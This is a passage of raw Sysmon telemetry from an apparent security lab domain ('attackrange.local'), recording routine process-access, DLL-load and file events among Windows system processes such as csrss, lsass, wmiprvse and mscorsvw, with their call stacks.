STEM32\ntdll.dll+51781 11241100x800000000000000043269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:41.362{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Controls\Styles\Flat\qtquickextrasflatplugin.dll2021-09-10 14:44:41.362 10341000x800000000000000043268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.205{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F59-613B-1709-00000000F001}5036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.205{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F59-613B-1709-00000000F001}5036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.987{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-2309-00000000F001}2632C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.987{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5A-613B-2309-00000000F001}2632C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013950Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:42.067{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD93FA45EEFE66A96CD43A7BD756615E,SHA256=AD0AEB1D67DE1AE1C437DF373A8F86F899664E23DB4B4BF43682724568961D34,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.924{7BD73061-65B2-613B-1600-00000000F001}12961640C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.924{7BD73061-65B2-613B-1600-00000000F001}12965876C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.924{7BD73061-65B2-613B-1600-00000000F001}12966968C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.924{7BD73061-65B2-613B-1600-00000000F001}12961640C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.908{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.908{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.893{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.893{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2209-00000000F001}3836C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.862{7BD73061-65B2-613B-1600-00000000F001}12961640C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.862{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-2209-00000000F001}3836C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.862{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5A-613B-2209-00000000F001}3836C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.846{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.830{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.830{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.815{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.815{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.815{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.768{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.752{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.752{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft 